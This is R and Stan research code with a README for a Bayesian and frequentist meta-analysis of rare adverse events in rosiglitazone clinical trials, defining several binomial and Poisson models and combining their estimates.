sink(paste("Print_stan_fit_",outcome,dataset,".txt",sep=""), append=TRUE)
cat("\n","\n","#### Model: htevaguelog ####","\n","\n")
print(stan.fit, par=c("lrr", "rd", "tau"), digits=4)
sink()
pdf(file=paste("diag_htevaguelog_",outcome,dataset,".pdf",sep=""))
pairs(stan.fit, pars=c("lrr", "tau", "lp__"))
print(traceplot(stan.fit, pars=c("lrr", "rd", "tau"), nrow=3, inc_warmup=TRUE))
dev.off()
fit.mcmc <- extract(stan.fit, permuted=TRUE)
lrr.mcmc <- fit.mcmc$lrr
rd.mcmc <- fit.mcmc$rd
tau.mcmc <- fit.mcmc$tau
loglik.mcmc <- fit.mcmc$log_lik
lrr.res.htevaguelog <- output.Bayes.hte.DA(mod="htevaguelog",measure="lrr", mcmc=lrr.mcmc, tau.mcmc=tau.mcmc, loglik=loglik.mcmc)
# we don't estimate tau for RD
rd.res.htevaguelog <- output.Bayes.cte.DA(mod="htevaguelog",measure="rd", mcmc=rd.mcmc, loglik=loglik.mcmc)
###### 3. HTE-shirinkage
#### 3a. LOR & RD.logit
stan.data <- list("NS"=NS, "s"=s, "ec"=ec, "ea"=ea, "nc"=nc, "na"=na)
stan.params <- c("lor", "rd", "tau", "mP", "tauP", "log_lik")
stan.fit <- NULL
stan.fit <- stan(model_code=hteshlogit.stan, data=stan.data, pars=stan.params, seed=752346,
chains=nchains, iter=niter, warmup=nburnin, control = list(adapt_delta = 0.99))
sink(paste("Print_stan_fit_",outcome,dataset,".txt",sep=""), append=TRUE)
cat("\n","\n","#### Model: hteshlogit ####","\n","\n")
print(stan.fit, par=c("lor", "rd", "tau", "mP", "tauP"), digits=4)
sink()
pdf(file=paste("diag_hteshlogit_",outcome,dataset,".pdf",sep=""))
pairs(stan.fit, pars=c("lor", "tau", "mP", "tauP", "lp__"))
print(traceplot(stan.fit, pars=c("lor", "rd", "tau", "mP", "tauP"), nrow=3, inc_warmup=TRUE))
dev.off()
fit.mcmc <- extract(stan.fit, permuted=TRUE)
lor.mcmc <- fit.mcmc$lor
rd.mcmc <- fit.mcmc$rd
tau.mcmc <- fit.mcmc$tau
loglik.mcmc <- fit.mcmc$log_lik
lor.res.hteshlogit <- output.Bayes.hte.DA(mod="hteshlogit",measure="lor", mcmc=lor.mcmc, tau.mcmc=tau.mcmc, loglik=loglik.mcmc)
# we don't estimate tau for RD
rd.res.hteshlogit <- output.Bayes.cte.DA(mod="hteshlogit",measure="rd", mcmc=rd.mcmc, loglik=loglik.mcmc)
#### 3b. LRR & RD.log
stan.data <- list("NS"=NS, "s"=s, "ec"=ec, "ea"=ea, "nc"=nc, "na"=na)
stan.params <- c("lrr", "rd", "tau", "mP", "tauP", "log_lik")
stan.fit <- NULL
stan.fit <- stan(model_code=hteshlog.stan, data=stan.data, pars=stan.params, seed=752346,
chains=nchains, iter=niter, warmup=nburnin, control = list(adapt_delta = 0.99))
sink(paste("Print_stan_fit_",outcome,dataset,".txt",sep=""), append=TRUE)
cat("\n","\n","#### Model: hteshlog ####","\n","\n")
print(stan.fit, par=c("lrr", "rd", "tau", "mP", "tauP"), digits=4)
sink()
pdf(file=paste("diag_hteshlog_",outcome,dataset,".pdf",sep=""))
pairs(stan.fit, pars=c("lrr", "tau", "mP", "tauP", "lp__"))
print(traceplot(stan.fit, pars=c("lrr", "rd", "tau", "mP", "tauP"), nrow=3, inc_warmup=TRUE))
dev.off()
fit.mcmc <- extract(stan.fit, permuted=TRUE)
lrr.mcmc <- fit.mcmc$lrr
rd.mcmc <- fit.mcmc$rd
tau.mcmc <- fit.mcmc$tau
loglik.mcmc <- fit.mcmc$log_lik
lrr.res.hteshlog <- output.Bayes.hte.DA(mod="hteshlog",measure="lrr", mcmc=lrr.mcmc, tau.mcmc=tau.mcmc, loglik=loglik.mcmc)
# we don't estimate tau for RD
rd.res.hteshlog <- output.Bayes.cte.DA(mod="hteshlog",measure="rd", mcmc=rd.mcmc, loglik=loglik.mcmc)
###### 4. HTE-AB
#### 4a. LOR & RD.logit
stan.data <- list("NS"=NS, "s"=s, "ec"=ec, "ea"=ea, "nc"=nc, "na"=na, "NT"=2, "mean0"=c(0,0), "nu"=2, "L_inv"=diag(sqrt(4),2))
stan.params <- c("lor", "rd", "phat_c", "phat_a", "logit_risk_c", "logit_risk_a", "tau_c", "tau_a", "A_inv_L_inv", "log_lik")
stan.fit <- NULL
stan.fit <- stan(model_code=ablogit.stan, data=stan.data, pars=stan.params, seed=752346,
chains=nchains, iter=niter, warmup=nburnin, control = list(adapt_delta = 0.99))
sink(paste("Print_stan_fit_",outcome,dataset,".txt",sep=""), append=TRUE)
cat("\n","\n","#### Model: ablogit ####","\n","\n")
print(stan.fit, par=c("lor", "rd", "phat_c", "phat_a", "logit_risk_c", "logit_risk_a", "tau_c", "tau_a", "A_inv_L_inv"), digits=4)
sink()
pdf(file=paste("diag_ablogit_",outcome,dataset,".pdf",sep=""))
pairs(stan.fit, pars=c("logit_risk_c", "logit_risk_a", "tau_c", "tau_a", "lp__"))
print(traceplot(stan.fit, pars=c("lor", "rd", "phat_c", "phat_a", "tau_c", "tau_a"), nrow=3, inc_warmup=TRUE))
dev.off()
fit.mcmc <- extract(stan.fit, permuted=TRUE)
lor.mcmc <- fit.mcmc$lor
rd.mcmc <- fit.mcmc$rd
loglik.mcmc <- fit.mcmc$log_lik
# AB models' taus are not for variability of lor, so we don't record them.
lor.res.ablogit<- output.Bayes.cte.DA(mod="ablogit",measure="lor", mcmc=lor.mcmc, loglik=loglik.mcmc)
# we don't estimate tau for RD
rd.res.ablogit <- output.Bayes.cte.DA(mod="ablogit",measure="rd", mcmc=rd.mcmc, loglik=loglik.mcmc)
#### 4b. LRR & RD.log
stan.data <- list("NS"=NS, "s"=s, "ec"=ec, "ea"=ea, "nc"=nc, "na"=na, "NT"=2, "mean0"=c(0,0), "nu"=2, "L_inv"=diag(sqrt(4),2))
stan.params <- c("lrr", "rd", "phat_c", "phat_a", "log_risk_c", "log_risk_a", "tau_c", "tau_a", "A_inv_L_inv", "log_lik")
stan.fit <- NULL
stan.fit <- stan(model_code=ablog.stan, data=stan.data, pars=stan.params, seed=752346,
chains=nchains, iter=niter, warmup=nburnin, control = list(adapt_delta = 0.99))
sink(paste("Print_stan_fit_",outcome,dataset,".txt",sep=""), append=TRUE)
cat("\n","\n","#### Model: ablog ####","\n","\n")
print(stan.fit, par=c("lrr", "rd", "phat_c", "phat_a", "tau_c", "tau_a", "log_risk_c", "log_risk_a", "A_inv_L_inv"), digits=4)
sink()
pdf(file=paste("diag_ablog_",outcome,dataset,".pdf",sep=""))
pairs(stan.fit, pars=c("log_risk_c", "log_risk_a", "tau_c", "tau_a", "lp__"))
print(traceplot(stan.fit, pars=c("lrr", "rd", "phat_c", "phat_a", "tau_c", "tau_a"), nrow=3, inc_warmup=TRUE))
dev.off()
fit.mcmc <- extract(stan.fit, permuted=TRUE)
lrr.mcmc <- fit.mcmc$lrr
rd.mcmc <- fit.mcmc$rd
loglik.mcmc <- fit.mcmc$log_lik
# AB models' taus are not for variability of lor, so we don't record them.
lrr.res.ablog<- output.Bayes.cte.DA(mod="ablog",measure="lrr", mcmc=lrr.mcmc, loglik=loglik.mcmc)
# we don't estimate tau for RD
rd.res.ablog <- output.Bayes.cte.DA(mod="ablog",measure="rd", mcmc=rd.mcmc, loglik=loglik.mcmc)
###### 5. CTE-Beta
#### 5a. LOR, LRR, RD
stan.data <- list("NS"=NS, "s"=s, "ec"=ec, "ea"=ea, "nc"=nc, "na"=na)
stan.params <- c("pc", "pa", "lor", "lrr", "rd", "log_lik")
stan.fit <- NULL
stan.fit <- stan(model_code=ctebeta.stan, data=stan.data, pars=stan.params, seed=752346,
chains=nchains, iter=niter, warmup=nburnin, control = list(adapt_delta = 0.99))
sink(paste("Print_stan_fit_",outcome,dataset,".txt",sep=""), append=TRUE)
cat("\n","\n","#### Model: ctebeta ####","\n","\n")
print(stan.fit, par=c("pc", "pa", "lor", "lrr", "rd"), digits=4)
sink()
pdf(file=paste("diag_ctebeta_",outcome,dataset,".pdf",sep=""))
pairs(stan.fit, pars=c("pc", "pa", "lp__"))
print(traceplot(stan.fit, pars=c("pc", "pa", "lor", "lrr", "rd"), nrow=3, inc_warmup=TRUE))
dev.off()
fit.mcmc <- extract(stan.fit, permuted=TRUE)
lor.mcmc <- fit.mcmc$lor
lrr.mcmc <- fit.mcmc$lrr
rd.mcmc <- fit.mcmc$rd
loglik.mcmc <- fit.mcmc$log_lik
# Beta prior models' taus are not for variability of lor, so we don't record them.
lor.res.ctebeta<- output.Bayes.cte.DA(mod="ctebeta",measure="lor", mcmc=lor.mcmc, loglik=loglik.mcmc)
lrr.res.ctebeta<- output.Bayes.cte.DA(mod="ctebeta",measure="lrr", mcmc=lrr.mcmc, loglik=loglik.mcmc)
rd.res.ctebeta <- output.Bayes.cte.DA(mod="ctebeta",measure="rd", mcmc=rd.mcmc, loglik=loglik.mcmc)
###### 6. HTE-Beta
#### 6a. LOR, LRR, RD
## sensitive to the prior for Vc and Va!!
stan.data <- list("NS"=NS, "s"=s, "ec"=ec, "ea"=ea, "nc"=nc, "na"=na)
stan.params <- c("lor", "lrr", "rd", "Uc", "Ua", "Vc", "Va", "log_lik")
stan.fit <- NULL
stan.fit <- stan(model_code=htebeta.stan, data=stan.data, pars=stan.params, seed=752346,
chains=nchains, iter=niter, warmup=nburnin, control = list(adapt_delta = 0.99))
sink(paste("Print_stan_fit_",outcome,dataset,".txt",sep=""), append=TRUE)
cat("\n","\n","#### Model: htebeta ####","\n","\n")
print(stan.fit, par=c("lor", "lrr", "rd", "Uc", "Ua", "Vc", "Va"), digits=4)
sink()
pdf(file=paste("diag_htebeta_",outcome,dataset,".pdf",sep=""))
pairs(stan.fit, pars=c("Uc", "Ua", "Vc", "Va", "lp__"))
print(traceplot(stan.fit, pars=c("lor", "lrr", "rd", "Uc", "Ua", "Vc", "Va"), nrow=3, inc_warmup=TRUE))
dev.off()
fit.mcmc <- extract(stan.fit, permuted=TRUE)
lor.mcmc <- fit.mcmc$lor
lrr.mcmc <- fit.mcmc$lrr
rd.mcmc <- fit.mcmc$rd
loglik.mcmc <- fit.mcmc$log_lik
# Beta prior models' taus are not for variability of lor, so we don't record them.
lor.res.htebeta<- output.Bayes.cte.DA(mod="htebeta",measure="lor", mcmc=lor.mcmc, loglik=loglik.mcmc)
lrr.res.htebeta<- output.Bayes.cte.DA(mod="htebeta",measure="lrr", mcmc=lrr.mcmc, loglik=loglik.mcmc)
rd.res.htebeta <- output.Bayes.cte.DA(mod="htebeta",measure="rd", mcmc=rd.mcmc, loglik=loglik.mcmc)
######
###### Combine results
#### 1. LOR
lor <- data.frame(rbind(lor.res.naive, lor.res.peto, lor.res.mh, lor.res.mhdm, lor.res.ivfe,
lor.res.sgsunwgt, lor.res.sgswgt, lor.res.ivre, lor.res.sa, lor.res.ctevaguelogit,
lor.res.ctebeta, lor.res.htevaguelogit, lor.res.hteshlogit, lor.res.ablogit, lor.res.htebeta))
lor$modelname <- c("naive", "peto", "mh", "mhdm", "ivfe",
"sgsunwgt", "sgswgt", "ivre", "sa", "ctevaguelogit",
"ctebeta", "htevaguelogit", "hteshlogit", "ablogit", "htebeta")
lor$col.group <- factor(c(rep(1,9), rep(2,6))); levels(lor$col.group) <- c("Frequentist", "Bayesian")
lor$pch.group <- factor(c(1,1,1,1,1, 1,1,2,2,1, 1,2,2,2,2)); levels(lor$pch.group) <- c("CTE model", "HTE model")
lor$outcome <- outcome
lor$dataset <- dataset
#### 2. LRR
lrr <- data.frame(rbind(lrr.res.naive, lrr.res.mh, lrr.res.mhdm, lrr.res.ivfe, lrr.res.sgsunwgt,
lrr.res.sgswgt, lrr.res.ivre, lrr.res.ctevaguelog, lrr.res.ctebeta, lrr.res.htevaguelog,
lrr.res.hteshlog, lrr.res.ablog, lrr.res.htebeta))
lrr$modelname <- c("naive", "mh", "mhdm", "ivfe", "sgsunwgt",
"sgswgt", "ivre", "ctevaguelog", "ctebeta", "htevaguelog",
"hteshlog", "ablog", "htebeta")
lrr$col.group <- factor(c(rep(1,7), rep(2,6))); levels(lrr$col.group) <- c("Frequentist", "Bayesian")
lrr$pch.group <- factor(c(1,1,1,1,1, 1,2,1,1,2, 2,2,2)); levels(lrr$pch.group) <- c("CTE model", "HTE model")
lrr$outcome <- outcome
lrr$dataset <- dataset
#### 3. RD
rd <- data.frame(rbind(rd.res.naive, rd.res.mh, rd.res.mhdm, rd.res.ivfe, rd.res.sgsunwgt,
rd.res.sgswgt, rd.res.ivre, rd.res.ctevaguelogit, rd.res.ctevaguelog, rd.res.ctebeta,
rd.res.htevaguelogit, rd.res.htevaguelog, rd.res.hteshlogit, rd.res.hteshlog, rd.res.ablogit,
rd.res.ablog, rd.res.htebeta))
rd$modelname <- c("naive", "mh", "mhdm", "ivfe", "sgsunwgt",
"sgswgt", "ivre", "ctevaguelogit", "ctevaguelog", "ctebeta",
"htevaguelogit", "htevaguelog", "hteshlogit", "hteshlog", "ablogit",
"ablog", "htebeta")
rd$col.group <- factor(c(rep(1,7), rep(2,10))); levels(rd$col.group) <- c("Frequentist", "Bayesian")
rd$pch.group <- factor(c(1,1,1,1,1, 1,2,1,1,1, 2,2,2,2,2, 2,2)); levels(rd$pch.group) <- c("CTE model", "HTE model")
rd$outcome <- outcome
rd$dataset <- dataset
colnames(lor) <- colnames(lrr) <- colnames(rd) <- c("est","se","low","up","width","tau",
"elpd_waic", "p_waic", "waic", "se_elpd_waic", "se_p_waic", "se_waic",
"modelname","col.group","pch.group","outcome","dataset")
write.csv(lor, file=paste(outcome,dataset,"_lor.csv",sep=""))
write.csv(lrr, file=paste(outcome,dataset,"_lrr.csv",sep=""))
write.csv(rd, file=paste(outcome,dataset,"_rd.csv",sep=""))
output <- list(lor, lrr, rd)
names(output) <- c("LOR", "LRR", "RD")
return(output)
}
<file_sep>/Stan_models.R
#############################################
#############################################
######
###### Rosiglitazone data analysis
###### Author: <NAME> (<EMAIL>)
###### Last update: July 18, 2019
###### Related paper: Meta-Analysis of Rare Adverse Events in Randomized Clinical Trials: Bayesian and Frequentist Methods (2019+)
###### by <NAME>, <NAME>, and <NAME>
###### Data source: Nissen SE and Wolski K.
###### Rosiglitazone revisited: an updated meta-analysis of risk for myocardial infarction and cardiovascular mortality.
###### Archives of internal medicine. 2010;170(14):1191-1201.
######
###### Source file associated with MetaAnalysis_Rosiglitazone.R
###### This source file includes Stan model code to fit Bayesian meta-analysis methods.
######
#############################################
#############################################
ctelogit.stan = "
data{
int NS; // number of studies
int s[NS]; // study id
int ec[NS]; // number of events in control
int ea[NS]; // number of events in active
int nc[NS]; // sample size in control
int na[NS]; // sample size in active
}
parameters{
real lor;
vector[NS] mu;
}
transformed parameters{
vector[NS] logit_pc;
vector[NS] logit_pa;
vector[NS] pc;
vector[NS] pa;
//
for(n in 1:NS) {
logit_pc[n] = mu[n];
logit_pa[n] = mu[n] + lor;
//
pc[n] = inv_logit(logit_pc[n]);
pa[n] = inv_logit(logit_pa[n]);
}
}
model{
ec ~ binomial(nc, pc);
ea ~ binomial(na, pa);
//
lor ~ normal(0, 100);
mu ~ normal(0, 100);
}
generated quantities{
vector[2*NS] log_lik;
vector[NS] rdi; // study-specific risk difference
real rd;
for(n in 1:NS) {
log_lik[n] = binomial_lpmf(ec[n] | nc[n], pc[n]);
log_lik[NS+n] = binomial_lpmf(ea[n] | na[n], pa[n]);
}
for(n in 1:NS) {
rdi[n] = pa[n]-pc[n];
}
rd = mean(rdi);
}"
ctelog.stan = "
data{
int NS; // number of studies
int s[NS]; // study id
int ec[NS]; // number of events in control
int ea[NS]; // number of events in active
int nc[NS]; // sample size in control
int na[NS]; // sample size in active
}
parameters{
real lrr;
vector[NS] mu;
}
transformed parameters{
vector[NS] log_pc;
vector[NS] log_pa;
vector[NS] lambda_c;
vector[NS] lambda_a;
vector[NS] offset_c;
vector[NS] offset_a;
//
for(n in 1:NS) {
offset_c[n] = log(nc[n]);
offset_a[n] = log(na[n]);
//
log_pc[n] = mu[n];
log_pa[n] = mu[n] + lrr;
//
lambda_c[n] = exp(log_pc[n] + offset_c[n]);
lambda_a[n] = exp(log_pa[n] + offset_a[n]);
}
}
model{
ec ~ poisson(lambda_c);
ea ~ poisson(lambda_a);
lrr ~ normal(0, 100);
mu ~ normal(0, 100);
}
generated quantities{
vector[2*NS] log_lik;
vector[NS] rdi; // study-specific risk difference
real rd;
for(n in 1:NS) {
log_lik[n] = poisson_lpmf(ec[n] | lambda_c[n]);
log_lik[NS+n] = poisson_lpmf(ea[n] | lambda_a[n]);
//
rdi[n] = exp(log_pa[n]) - exp(log_pc[n]);
}
rd = mean(rdi);
}"
htelogit.stan = "
data{
int NS; // number of studies
int s[NS]; // study id
int ec[NS]; // number of events in control
int ea[NS]; // number of events in active
int nc[NS]; // sample size in control
int na[NS]; // sample size in active
}
parameters{
real lor;
real mu[NS];
real<lower=0> tau; // sd of delta
real theta_tilde[NS];
}
transformed parameters{
vector[NS] logit_pc;
vector[NS] logit_pa;
vector[NS] delta;
vector[NS] pc;
vector[NS] pa;
//
for(n in 1:NS) {
delta[n] = lor + tau*tau*theta_tilde[n];
logit_pc[n] = mu[n];
logit_pa[n] = mu[n] + delta[n];
//
pc[n] = inv_logit(logit_pc[n]);
pa[n] = inv_logit(logit_pa[n]);
}
}
model{
ec ~ binomial(nc, pc);
ea ~ binomial(na, pa);
//
lor ~ normal(0, 100);
mu ~ normal(0, 100);
theta_tilde ~ normal(0, 1);
tau ~ uniform(0,2);
}
generated quantities{
vector[NS*2] log_lik;
vector[NS] rdi; // study-specific risk difference
real rd;
for(n in 1:NS) {
log_lik[n] = binomial_lpmf(ec[n] | nc[n], pc[n]);
log_lik[NS+n] = binomial_lpmf(ea[n] | na[n], pa[n]);
}
for(n in 1:NS) {
rdi[n] = pa[n]-pc[n];
}
rd = mean(rdi);
}"
htelog.stan = "
data{
int NS; // number of studies
int s[NS]; // study id
int ec[NS]; // number of events in control
int ea[NS]; // number of events in active
int nc[NS]; // sample size in control
int na[NS]; // sample size in active
}
parameters{
real lrr;
real mu[NS];
real<lower=0> tau; // sd of delta
real theta_tilde[NS];
}
transformed parameters{
vector[NS] log_pc;
vector[NS] log_pa;
vector[NS] lambda_c;
vector[NS] lambda_a;
vector[NS] offset_c;
vector[NS] offset_a;
vector[NS] delta;
//
for(n in 1:NS) {
offset_c[n] = log(nc[n]);
offset_a[n] = log(na[n]);
//
delta[n] = lrr + tau*tau*theta_tilde[n];
log_pc[n] = mu[n];
log_pa[n] = mu[n] + delta[n];
//
lambda_c[n] = exp(log_pc[n] + offset_c[n]);
lambda_a[n] = exp(log_pa[n] + offset_a[n]);
}
}
model{
ec ~ poisson(lambda_c);
ea ~ poisson(lambda_a);
//
lrr ~ normal(0, 100);
mu ~ normal(0, 100);
theta_tilde ~ normal(0, 1);
tau ~ uniform(0,2);
}
generated quantities{
vector[NS*2] log_lik;
vector[NS] rdi; // study-specific risk difference
real rd;
for(n in 1:NS) {
log_lik[n] = poisson_lpmf(ec[n] | lambda_c[n]);
log_lik[NS+n] = poisson_lpmf(ea[n] | lambda_a[n]);
//
rdi[n] = exp(log_pa[n]) - exp(log_pc[n]);
}
rd = mean(rdi);
}"
hteshlogit.stan = "
data{
int NS; // number of studies
int s[NS]; // study id
int ec[NS]; // number of events in control
int ea[NS]; // number of events in active
int nc[NS]; // sample size in control
int na[NS]; // sample size in active
}
parameters{
real lor;
real<lower=0> tau; // sd of delta
real theta_tilde[NS];
real mu_tilde[NS];
real mP; // mean of mu
real<lower=0> tauP; // sd of mu
}
transformed parameters{
vector[NS] logit_pc;
vector[NS] logit_pa;
vector[NS] delta;
vector[NS] mu;
vector[NS] pc;
vector[NS] pa;
//
for(n in 1:NS) {
delta[n] = lor + tau*tau*theta_tilde[n];
mu[n] = mP + tauP*tauP*mu_tilde[n];
//
logit_pc[n] = mu[n];
logit_pa[n] = mu[n] + delta[n];
//
pc[n] = inv_logit(logit_pc[n]);
pa[n] = inv_logit(logit_pa[n]);
}
}
model{
ec ~ binomial(nc, pc);
ea ~ binomial(na, pa);
//
mu_tilde ~ normal(0, 1);
theta_tilde ~ normal(0, 1);
//
lor ~ normal(0, 100);
mP ~ normal(0, 100);
tau ~ uniform(0,2);
tauP ~ uniform(0,2);
}
generated quantities{
vector[NS*2] log_lik;
vector[NS] rdi; // study-specific risk difference
real rd;
for(n in 1:NS) {
log_lik[n] = binomial_lpmf(ec[n] | nc[n], pc[n]);
log_lik[NS+n] = binomial_lpmf(ea[n] | na[n], pa[n]);
}
for(n in 1:NS) {
rdi[n] = pa[n]-pc[n];
}
rd = mean(rdi);
}"
hteshlog.stan = "
data{
int NS; // number of studies
int s[NS]; // study id
int ec[NS]; // number of events in control
int ea[NS]; // number of events in active
int nc[NS]; // sample size in control
int na[NS]; // sample size in active
}
parameters{
real lrr;
real<lower=0> tau; // sd of delta
real theta_tilde[NS];
real mu_tilde[NS];
real mP; // mean of mu
real<lower=0> tauP; // sd of mu
}
transformed parameters{
vector[NS] log_pc;
vector[NS] log_pa;
vector[NS] lambda_c;
vector[NS] lambda_a;
vector[NS] offset_c;
vector[NS] offset_a;
vector[NS] delta;
vector[NS] mu;
//
for(n in 1:NS) {
offset_c[n] = log(nc[n]);
offset_a[n] = log(na[n]);
//
delta[n] = lrr + tau*tau*theta_tilde[n];
mu[n] = mP + tauP*tauP*mu_tilde[n];
//
log_pc[n] = mu[n];
log_pa[n] = mu[n] + delta[n];
//
lambda_c[n] = exp(log_pc[n] + offset_c[n]);
lambda_a[n] = exp(log_pa[n] + offset_a[n]);
}
}
model{
ec ~ poisson(lambda_c);
ea ~ poisson(lambda_a);
//
mu_tilde ~ normal(0, 1);
theta_tilde ~ normal(0, 1);
//
lrr ~ normal(0, 100);
mP ~ normal(0, 100);
tau ~ uniform(0,2);
tauP ~ uniform(0,2);
}
generated quantities{
vector[NS*2] log_lik;
vector[NS] rdi; // study-specific risk difference
real rd;
for(n in 1:NS) {
log_lik[n] = poisson_lpmf(ec[n] | lambda_c[n]);
log_lik[NS+n] = poisson_lpmf(ea[n] | lambda_a[n]);
//
rdi[n] = exp(log_pa[n]) - exp(log_pc[n]);
}
rd = mean(rdi);
}"
#### AB logit using Cholesky decomposition
ablogit.stan = "
data{
int NS; // number of studies
int NT; // number of treatments
int s[NS]; // study id
int ec[NS]; // number of events in control
int ea[NS]; // number of events in active
int nc[NS]; // sample size in control
int na[NS]; // sample size in active
matrix[NT, NT] L_inv; // Cholesky factor of scale matrix (inversed); Sigma ~ inv_Wishart(nu, L_inv^T*L_inv)
int nu;
vector[NT] mean0; // mean (0,0) for eta
}
parameters{
real logit_risk_c; // logit(risk) in control
real logit_risk_a; // logit(risk) in active
row_vector[NT] eta[NS]; // eta is a NS by NT matrix
vector<lower=0>[NT] c; // For Cholesky factor
real z; // This should be $vector[0.5*NT*(NT-1)] z$ but it is not vector when NT=2
}
transformed parameters{
vector[NS] logit_pc;
vector[NS] logit_pa;
vector[NS] pc;
vector[NS] pa;
matrix[NT, NT] A;
matrix[NT, NT] A_inv_L_inv;
matrix[NT, NT] R;
//
for(n in 1:NS) {
logit_pc[n] = logit_risk_c + eta[n,1];
logit_pa[n] = logit_risk_a + eta[n,2];
//
pc[n] = inv_logit(logit_pc[n]);
pa[n] = inv_logit(logit_pa[n]);
}
// Define matrix A element by element because it is 2 by 2
A[1,1]=sqrt(c[1]);
A[1,2]=0;
A[2,1]=z;
A[2,2]=sqrt(c[2]);
A_inv_L_inv = mdivide_left_tri_low(A, L_inv);
R = crossprod(A_inv_L_inv);
}
model{
for(i in 1:NT) {
c[i] ~ chi_square(nu-i+1);
}
z ~ normal(0,1); // Sigma=crossprod(A_inv_L_inv) ~ inv_wishart(nu, L_inv` * L_inv)
eta ~ multi_normal(mean0, R);
//
ec ~ binomial(nc, pc);
ea ~ binomial(na, pa);
//
logit_risk_c ~ normal(0, 100);
logit_risk_a ~ normal(0, 100);
}
generated quantities{
vector[NS*2] log_lik;
real rd;
real lor;
real phat_c;
real phat_a;
real tau_c;
real tau_a;
//
for(n in 1:NS) {
log_lik[n] = binomial_lpmf(ec[n] | nc[n], pc[n]);
log_lik[NS+n] = binomial_lpmf(ea[n] | na[n], pa[n]);
}
lor = logit_risk_a - logit_risk_c;
phat_c = inv_logit(logit_risk_c);
phat_a = inv_logit(logit_risk_a);
rd = phat_a - phat_c;
tau_c = sqrt(R[1,1]);
tau_a = sqrt(R[2,2]);
}"
ablog.stan = "
data{
int NS; // number of studies
int NT; // number of treatments
int s[NS]; // study id
int ec[NS]; // number of events in control
int ea[NS]; // number of events in active
int nc[NS]; // sample size in control
int na[NS]; // sample size in active
matrix[NT, NT] L_inv; // Cholesky factor of scale matrix (inversed); Sigma ~ inv_Wishart(nu, L_inv^T*L_inv)
int nu;
vector[NT] mean0; // mean (0,0) for eta
}
parameters{
real log_risk_c; // log(risk) in control
real log_risk_a; // log(risk) in active
row_vector[NT] eta[NS]; // eta is a NS by NT matrix
vector<lower=0>[NT] c; // For Cholesky factor
real z; // This should be $vector[0.5*NT*(NT-1)] z$ but it is not vector when NT=2
}
transformed parameters{
vector[NS] log_pc;
vector[NS] log_pa;
vector[NS] lambda_c;
vector[NS] lambda_a;
vector[NS] offset_c;
vector[NS] offset_a;
matrix[NT, NT] A;
matrix[NT, NT] A_inv_L_inv;
matrix[NT, NT] R;
//
for(n in 1:NS) {
offset_c[n] = log(nc[n]);
offset_a[n] = log(na[n]);
//
log_pc[n] = log_risk_c + eta[n,1];
log_pa[n] = log_risk_a + eta[n,2];
//
lambda_c[n] = exp(log_pc[n] + offset_c[n]);
lambda_a[n] = exp(log_pa[n] + offset_a[n]);
}
// Define matrix A element by element because it is 2 by 2
A[1,1]=sqrt(c[1]);
A[1,2]=0;
A[2,1]=z;
A[2,2]=sqrt(c[2]);
A_inv_L_inv = mdivide_left_tri_low(A, L_inv);
R = crossprod(A_inv_L_inv);
}
model{
for(i in 1:NT) {
c[i] ~ chi_square(nu-i+1);
}
z ~ normal(0,1); // Sigma=crossprod(A_inv_L_inv) ~ inv_wishart(nu, L_inv` * L_inv)
eta ~ multi_normal(mean0, R);
//
ec ~ poisson(lambda_c);
ea ~ poisson(lambda_a);
//
log_risk_c ~ normal(0, 100);
log_risk_a ~ normal(0, 100);
}
generated quantities{
vector[NS*2] log_lik;
real rd;
real lrr;
real phat_c;
real phat_a;
real tau_c;
real tau_a;
//
for(n in 1:NS) {
log_lik[n] = poisson_lpmf(ec[n] | lambda_c[n]);
log_lik[NS+n] = poisson_lpmf(ea[n] | lambda_a[n]);
}
phat_c = exp(log_risk_c);
phat_a = exp(log_risk_a);
lrr = log_risk_a - log_risk_c;
rd = phat_a - phat_c;
tau_c = sqrt(R[1,1]);
tau_a = sqrt(R[2,2]);
}"
ctebeta.stan = "
data{
int NS; // number of studies
int s[NS]; // study id
int ec[NS]; // number of events in control
int ea[NS]; // number of events in active
int nc[NS]; // sample size in control
int na[NS]; // sample size in active
}
parameters{
real pc;
real pa;
}
model{
ec ~ binomial(nc, pc);
ea ~ binomial(na, pa);
//
pc ~ beta(1,1);
pa ~ beta(1,1);
}
generated quantities{
vector[2*NS] log_lik;
real lor;
real lrr;
real rd;
for(n in 1:NS) {
log_lik[n] = binomial_lpmf(ec[n] | nc[n], pc);
log_lik[NS+n] = binomial_lpmf(ea[n] | na[n], pa);
}
lor=logit(pa)-logit(pc);
lrr=log(pa/pc);
rd=pa-pc;
}"
htebeta.stan = "
data{
int NS; // number of studies
int s[NS]; // study id
int ec[NS]; // number of events in control
int ea[NS]; // number of events in active
int nc[NS]; // sample size in control
int na[NS]; // sample size in active
}
parameters{
real<lower=0,upper=1> Uc; // mean of risk in control
real<lower=0,upper=1> Ua; // mean of risk in active
real<lower=0> Vc;
real<lower=0> Va;
vector<lower=0,upper=1>[NS] pc;
vector<lower=0,upper=1>[NS] pa;
}
transformed parameters{
real<lower=0> alpha_c;
real<lower=0> alpha_a;
real<lower=0> beta_c;
real<lower=0> beta_a;
//
alpha_c = Uc*Vc;
beta_c = (1-Uc)*Vc;
alpha_a = Ua*Va;
beta_a = (1-Ua)*Va;
}
model{
Uc ~ beta(1,1);
Ua ~ beta(1,1);
Vc ~ gamma(1, 0.01); // mean=100 (alpha/beta)
Va ~ gamma(1, 0.01); // mean=100 (alpha/beta)
ec ~ binomial(nc, pc);
ea ~ binomial(na, pa);
//
pc ~ beta(alpha_c, beta_c);
pa ~ beta(alpha_a, beta_a);
}
generated quantities{
vector[2*NS] log_lik;
real lor;
real lrr;
real rd;
for(n in 1:NS) {
log_lik[n] = binomial_lpmf(ec[n] | nc[n], pc[n]);
log_lik[NS+n] = binomial_lpmf(ea[n] | na[n], pa[n]);
}
lor=logit(Ua)-logit(Uc);
lrr=log(Ua/Uc);
rd=Ua-Uc;
}"
<file_sep>/README.md
# MetaAnalysis_RareEvents
<NAME> (<EMAIL>)
R code to run meta-analysis with binary (rare) events
Analysis of rosiglitazone data
Related paper:
<NAME>, <NAME>, and <NAME> (2019+) Meta-Analysis of Rare Adverse Events in Randomized Clinical Trials: Bayesian and Frequentist Methods
Data source:
Nissen SE and <NAME> (2010) Rosiglitazone revisited: an updated meta-analysis of risk for myocardial infarction and cardiovascular mortality. *Archives of internal medicine*. 170(14):1191-1201.
MetaAnalysis_Rosiglitazone.R fits meta-analysis models (frequentist and Bayesian) to the rosiglitazone data.
It provides 15 log odds ratio (LORs), 13 log relative risks (LRRs), and 17 risk differences estimates.
Bayesian models are fitted using rstan. Stan needs to be installed.
For Bayesian model comparison, we estimate Watanabe-Akaike or widely applicable information criterion (WAIC).
